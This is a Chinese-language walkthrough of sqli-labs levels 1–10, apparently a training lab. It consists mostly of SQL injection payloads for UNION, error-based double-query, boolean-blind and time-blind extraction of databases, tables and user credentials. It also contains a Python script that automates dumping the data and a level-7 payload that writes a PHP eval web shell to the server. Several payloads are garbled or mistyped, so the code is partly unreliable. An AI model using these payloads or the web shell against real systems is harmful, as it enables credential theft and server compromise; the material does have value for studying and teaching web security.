文章目录
第一关,基于错误的GET单引号字符型注入
字符串连接函数:
concat(str1,str2) //没有分隔符的连接字符串
concat_ws(str,str2) //含有分隔符的连接字符串
group_concat(str1,str2) //连接一个组的所有字符串,并以逗号分隔每一条数据
进入第一关页面
输入?id=1测试是否有注入点,显示正常
多试几位数,发现也都是正常
添加and 1=2 --+ 都显示正常
分析下源代码,id=‘
i
d
′
,
id',
id′,id被单引号包含,明显是单引号的闭合
输入?id=1‘,查看报错,说明有注入点
尝试and 1=1 --+,返回为真,返回是正常的
?id=2 --+,返回错误,这里直接连个提示都没有
Order by 10
查看数据库字段数
挨个测试,字段数为3
union联合查询
?id=1’ and 1=2 union select 1,2,3 --+
进入下面的操作前,先介绍几个函数:
(1)version():查看数据库版本
(2)user():查看当前用户
(3)database():查看使用的数据库
(4) limit :limit子句来分批获取所有数据
(5)group_concat():一次性获取数据库信息。
查看当前数据库
?id=1’ and 1=2 union select 1,database(),3 --+
查看版本
?id=1’ and 1=2 union select 1,version(),3 --+
下面最后输入的数据库,表名或者列名,都需要转换成十六进制
查看当前用户
?id=1’ and 1=2 union select 1,user(),3 --+
爆表名
?id=1’ and 1=1 union select 1,group_concat(table_name),3 from information_schema.tables table_schema=0x库名转十六进制 --+
爆列名
?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0xuser的十六进制转换
爆账号密码
?id=1’ and 1=2 union select 1,group_concat(0x5c,username,0x5c,password),3 from users(表名)
最后的表名,尝试用十六进制的,发现不行,干脆不转发现照样爆了出来
0x5c是反斜杠
第二关
首先查看源码
很明显没有单引号,是一个数字型的注入
直接开整,查看下数据库字段数量
Order by 3 --+
和第一关一样,也是三个字段
如第一个一样查看数据库名,表名,列名,用户名和密码
?id=1 and 1=2 union select 1,database(),3 --+
查看所有的数据库
?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
知道了库名,爆表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
爆列名
?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
爆用户名和密码
?id=1 and 1=2 union select 1,group_concat(username,0x5c,password),3 from users --+
第三关
查找注入点
查看列
?id=1’) and 1=1 order by 3 --+
查看所有数据库
?id=1’) and 1=2 union select 1,group_cpncat(schema_name),3 from information_schema.schemata --+
查看当前数据库
?id=1’) and 1=2 union select 1,database(),3 --+
爆表名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘库名’ --+
爆列名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_name=‘表名’ --+
第四关
测试注入点
查找到了注入点是一个“)的闭合点
查看字段长度为4
查看当前的数据库
查看所有表
查看列名
爆用户名和密码
第五关 二次查询
双查询注入其实就是一个select语句中再嵌套一个select语句,嵌套的这个语句称作子查询,
先查询里面的select database(),再查询外面的。
后续注入,需要先了解count()、rand()、floor()、concat()这三个函数的功能以及group by语句的用法。
- count():汇总数据函数
- rand():随机输出一个小于1的正数
- floor():把输出的结果取整
- group by语句:把结果分组输出
- concat():连接两条语句
rand()函数
先来看这个函数的作用:
select rand();
就是随机输出一个小于1的正数
floor()函数
现在加上floor()函数,效果就不一样了,floor是取整函数,为了体现的更直观,我们把rand()*2来输出,也就是输出0或1.
select floor(rand()*2);
concat()函数
现在我们再加上一个concat()函数,看看效果:
select concat((select database()),floor(rand()*2));
group by语句
group by就是分组语句,举个例子大家就明白了
select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;
这里解释一下,把select database()和floor(rand()*2)的结果输出到a里,然后最大长度根据information_schema.tables来决定,然后用a进行分组,xxx1一组,xxx0一组:
也可以version(),user()查看数据库版本和当前用户。
count()函数
最后在语句中加个count(*),整合一下结果,就明白count()函数是干嘛的了:
现在才是真正展现二次查询注入威力的时候,当我们第二次去查询的时候,数据库竟然报错了:
这就说明,如果想要页面爆出你想要的数据来,点击一次是没用的,只有点第二次数据库才会报错,才会回显。
开始注入
寻找注入点
ok找到注入点
做个好几关,猜都能猜出来字段长度为3
好像没按套路出牌,没爆出用户名和密码
使用双查询注入
爆当前的库
?id=1’ and 1=2 union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a;
第一次注入会显示“you are in ……”没有回显信息
相同的语句第二次注入,爆出当前的数据库
爆表名
?id-1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’),floor(rand()*2)) as a from infromation_schema.tables group by a --+
发现报错了,提示说子查询返回一行以上,说里面的查询要返回一行以上。
这里多了一个键,键1已经存在虚拟表中,由于键只能唯一,所以此时就会报错。所以在使用floor()、rand(0)、count()、group by时,数据表中至少要有3条记录才会报错,所以我们在第二条select语句末尾加上limit x,1即可让它报错继续注入。
一样的两次注入,第一次正常,第二次回显
?id=1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’;imit 0,1),floor(rand()2)) as a from information_schema.tables group by a --+
爆出的第一个表
Limit 前一个零代表第一个
依次增加
第二个表
双查询太费劲了,有时候两次刷新并没有卵用,要多刷新几次,希望实战不会费劲,容易浪费时间直接pass掉
第三张表
第四张表
总算找到目标了
顺着思路爆列名
第一个列名
?id=1’ and 1=2 union select 1,count(),concat((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a;
第二列
爆出了用户名字段
第三列
爆出了密码字段
顺着思路
爆字段
第一个用户名字段
?id=1’ and 1=2 union select 1,count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a --+
爆第一个密码字段
不管用户字段还是密码字段,limit依次爆下一个字段。
注:在爆的时候有可能需要点击两次及以上,毕竟它有个缓冲时间,多查几次就出来了。
**手动有些繁琐
exp
网上大牛写的exp脚本,非常值得学习啊!**
import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.113:86/Less-5/?id=1'''
***获取当前数据库名***
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
**获取表名**
print('数据库%s下的表名:' % db_name)
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
r = requests.get(url+payload)
if 'group_key' not in r.text:
break
table_name = r.text.split(':')[-2]
table_list.append(table_name)
print('[+]' + table_name)
***获取列名***
**这里以users表为例**
print('%s表下的列名:' % table_list[-1])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
column_name = r.text.split(':')[-2]
column_list.append(column_name)
print('[+]' + column_name)
**获取字段值**
**这里以username列为例**
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
dump = r.text.split(':')[-2]
print('[+]' + dump)
第六关
开始注入
查找注入点
这里查找到的注入点是 “ 双引号
通过第五关这可能这是一个双查询注入
查看一下是否和想的一样
爆库名
Union select 1,count(*),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+
一样的双查询
爆表名
Union select 1,count(),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),floor(rand()*2)) as a from information_schema.tables group by a --+
爆列名
用户组
密码组
爆字段
用户名
密码
第七关
查询注入点
发现有提示,outfile,查了一下属于导入导出文件
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
一 直接将select内容导入到文件
二修改文件结尾
我看大佬们都看下路径,我想不用看,肯定有,查查看,发现居然是禁止导入导出的
找到my.int文件
在mysqld下添加下面这一段,后面为路径
重启mysql就有了
接着查找注入点
注入点?id=1’))
在看下源码,确实是这样的闭合方式
使用into outfile导入一句话木马
?id=1’)) and 1=2 union select 1,"<?php @eval($_POST[pass])?>",3 into outfile “路径\文件名.php”
生成文件并写入一句话木马,路径的分隔符必须是两个反斜杠
用菜刀连接即可。
第八关
查找注入点
注入点为单引号
这是一个布尔盲注,感觉还挺有意思
盲注利用的函数
length() 返回字符串的长度
substr() 截取字符串
ascii() 返回字符串的ASCII码
sleep() 将程序执行延迟
if(exp1,exp2,exp3) 如果第一个语句/条件正确,就执行exp2,如果失败就执行exp3
布尔盲注思路
• 先利用(length(database()))=n判断数据库的长度
• 利用ascii(substr(database(),n,n))) = xxx 猜出数据库名
• 利用类似方法取出数据表
1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=xxx –
• 再取数据。。。
length() 返回字符串的长度
http://localhost/sqli/Less-8/?id=1‘ and length(database())>1–+ #肯定大于1,这个事实
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7–+ #大于7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8–+ #不大于8
http://localhost/sqli/Less-8/?id=1‘ and
length(database())=8–+ #数据库等于8,然后呢!
然后猜解字符了,编辑确实坑爹!感觉还是写个字典用burp跑
通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr(database(),1,1)))=115–+ #115=s
正确回显,错误将会报错
不停的爆破
第二个是101 e
第三个是 99 c
第四个是117 u
第五个是114 r
第六个是105 I
第七个是116 t
第八个是121 y
可以得到数据库名字为:security
接下来头疼的爆数据表,盲注果然是很枯燥的事情。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117–+
第一个数据表 101,109,97,105,108,115 =>emails
改后面的排数
第二个数据表 114,101,102,101,114,101,114,115 =>referers
Limit 前为数据库)后为字位数
第三个数据表 117,97,103,101,110,116,115 =>uagents
第四个数据表 117,115,101,114,115 =>users
爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105–+
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略
第三个字段 108 pass =>last_name
第四个字段 117,115,101,114 =>user
第五个字段 112,97,115,115,119,111,114,100, =>password
第六个字段 97 pass =>avatar
第七个字段 105 =》id
第八个字段 117,115,101,114,110,97,109,101 =>username
猜解一下用户名username,密码password
感觉太悲催。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=68–+
第一个用户名:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68–+
第一个密码:68,117,109,98 =>Dumb
第九关 时间盲注
在我们注入了SQL代码之后,存在以下两种情况:
• 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
• 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。
接下来,学习基于时间型SQL盲注。
我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。
上面是后来查的,尝试了很多注入点都没有注入点
既然是时间盲注,那就尝试查找注入点
Sleep(时间) 通过休眠查看注入点
通过测试休眠查找注入点
成功查找到单引号闭合为注入点
查找到注入点爆数据库
?id=1’ and (select if((select database())=‘security’,sleep(5),1)) --+
上面是知道的情况,下面展示一个字母一个猜的过程
?id=1’ and (select if(ascii(substr((select database()),1,1))=115,sleep(5),1)) --+
盲猜的是“S”
就不展示网络时长,都是七秒以上
爆表名
?id=1’ and (select if(ascii(substr((select table_name() from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1)) --+
第一个表的第一个字母e
爆第四个users表名的第一个字母
?id=1’ and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=117,sleep(5),1)) --+
爆用户组名的第一个字母
爆出密码列的第一个字母p
爆用户
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
爆第一个用户的第一个字母D
爆第一个密码地第一个字母D
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
第十关
通过代码是一个双引号的时间盲注
爆数据库名
security的·第一个字母
?id=1" and (select if(ascii(substr((select database() limit 0,1),1,1))=115,sleep(5),1)) --+
爆表名
users表的第一个字母
?id=1" and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117,sleep(5),1)) --+
爆列名
爆字段